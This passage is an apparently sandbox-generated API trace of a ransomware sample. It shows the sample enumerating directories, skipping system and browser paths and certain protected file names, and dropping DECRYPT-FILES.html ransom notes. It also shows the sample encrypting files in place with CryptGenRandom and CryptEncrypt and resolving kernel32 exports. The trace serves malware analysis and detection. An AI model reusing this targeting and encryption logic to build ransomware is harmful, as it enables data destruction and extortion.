lpString1="C:\\588bce7c90097ed212\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\eogwkz.dat" [0146.387] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.387] CloseHandle (hObject=0x0) returned 0 [0146.387] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.388] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="Extended", cAlternateFileName="")) returned 1 [0146.388] lstrcmpW (lpString1="Extended", lpString2=".") returned 1 [0146.388] lstrcmpW (lpString1="Extended", lpString2="..") returned 1 [0146.388] lstrcatW (in: lpString1="Extended", lpString2="\\" | out: lpString1="Extended\\") returned="Extended\\" [0146.388] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Extended\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch=":\\Windows") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\Program Files") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\Games\\") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\Tor Browser\\") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\ProgramData\\") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0146.388] StrStrW (lpFirst="C:\\588bce7c90097ed212\\Extended\\", lpSrch="\\All Users") returned 0x0 [0146.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\") returned 31 [0146.388] lstrlenW (lpString="eogwkz.dat") returned 10 [0146.388] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\\\eogwkz.dat") returned 42 [0146.388] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\extended\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0146.388] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\") returned 31 [0146.388] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0146.388] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\Extended\\\\DECRYPT-FILES.html") returned 50 [0146.388] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\extended\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0146.389] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0146.389] CloseHandle (hObject=0x470) returned 1 [0146.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\") returned 31 [0146.390] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\*") returned="C:\\588bce7c90097ed212\\Extended\\*" [0146.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5d805802, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81480 [0146.390] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.390] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5d805802, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.390] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.390] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.390] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d805802, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5d805802, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5d82ba72, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0146.390] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0146.390] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d805802, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5d805802, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5d805802, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0146.390] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0146.391] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0146.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\") returned 31 [0146.391] lstrlenW (lpString="eogwkz.dat") returned 10 [0146.391] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Extended\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0146.391] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\Extended\\eogwkz.dat" [0146.391] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.391] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\extended\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.391] CloseHandle (hObject=0x0) returned 0 [0146.391] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.391] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="DECRYPT-FILES.html") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="autorun.inf") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="boot.ini") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="desktop.ini") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="ntuser.dat") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="iconcache.db") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="bootsect.bak") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="ntuser.dat.log") returned 1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="thumbs.db") returned -1 [0146.391] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="Bootfont.bin") returned 1 [0146.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\") returned 31 [0146.392] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0146.392] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Extended\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0146.392] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="Parameterinfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" [0146.392] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.392] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0146.392] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=93314) returned 1 [0146.392] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0146.392] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0146.696] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0146.696] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0146.696] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0146.696] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0146.696] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0146.779] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.780] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0146.781] CloseHandle (hObject=0x5f8) returned 1 [0146.781] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.781] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0146.782] CloseHandle (hObject=0x0) returned 0 [0146.782] CloseHandle (hObject=0x5f4) returned 1 [0146.783] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.784] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.784] GetTickCount () returned 0x39f8d [0146.784] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0146.784] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0146.784] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0146.784] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0146.785] lstrlenA (lpString="kernel32.dll") returned 12 [0146.785] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0146.785] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0146.785] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0146.785] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0146.785] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0146.785] lstrlenA (lpString="ADDATOMA") returned 8 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0146.785] lstrlenA (lpString="ADDATOMW") returned 8 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0146.785] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0146.785] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0146.785] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0146.785] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0146.785] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0146.785] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0146.785] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0146.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0146.786] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0146.786] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0146.786] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0146.786] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0146.786] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0146.786] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0146.786] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0146.786] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0146.786] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0146.786] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0146.786] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0146.786] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0146.786] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0146.786] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0146.786] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0146.786] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0146.786] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0146.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0146.786] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0146.787] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0146.787] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0146.787] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0146.787] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0146.787] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0146.787] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0146.787] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0146.787] lstrlenA (lpString="BACKUPREAD") returned 10 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0146.787] lstrlenA (lpString="BACKUPSEEK") returned 10 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0146.787] lstrlenA (lpString="BACKUPWRITE") returned 11 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0146.787] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0146.787] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0146.787] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0146.787] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0146.787] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0146.787] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0146.787] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0146.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0146.788] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0146.788] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0146.788] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0146.788] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0146.788] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0146.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0146.788] lstrlenA 